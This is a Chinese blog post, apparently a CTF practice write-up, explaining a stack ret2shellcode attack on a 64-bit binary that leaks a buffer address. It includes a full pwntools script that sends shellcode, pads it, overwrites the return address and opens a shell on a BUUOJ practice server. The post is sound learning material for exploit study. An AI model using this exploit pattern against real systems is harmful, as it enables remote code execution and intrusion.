(shellcode注入攻击)ret2shellcode-栈上的ret2shellcode

        ret2shellcode的题,大致为bss段上的和栈上的shellcode

举一个例题

用64ida打开发现如下情况,他输出了v4的地址,然后shift+F12没有发现什么后面函数和bin/sh字样,所以我们可以考虑用栈上的ret2shellcode来写

思路:

生成64位的shellcode,接收v4的地址,利用ljust覆盖填充,返回v4的地址

脚本:

from pwn import *

context(os='linux', arch='amd64')
r = remote('node5.buuoj.cn',28468)
shellcode=asm(shellcraft.amd64.sh())
padding = 0x60 + 8
v4_addr = r.recvline()#这里接受的是第一个puts的
v4_addr = int(r.recvline()[33:-1],16)#这里接受的是printf里的,并且进行了切片操作,使得位v4地址并且转换为10进制

payload = shellcode.ljust(padding,b'a') + p64(v4_addr)#填充数据
r.sendline(payload)
r.interactive()

脚本并不是唯一的,本人也刚开始接触,如果有疑问或者更好的方法记得留言讨论

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值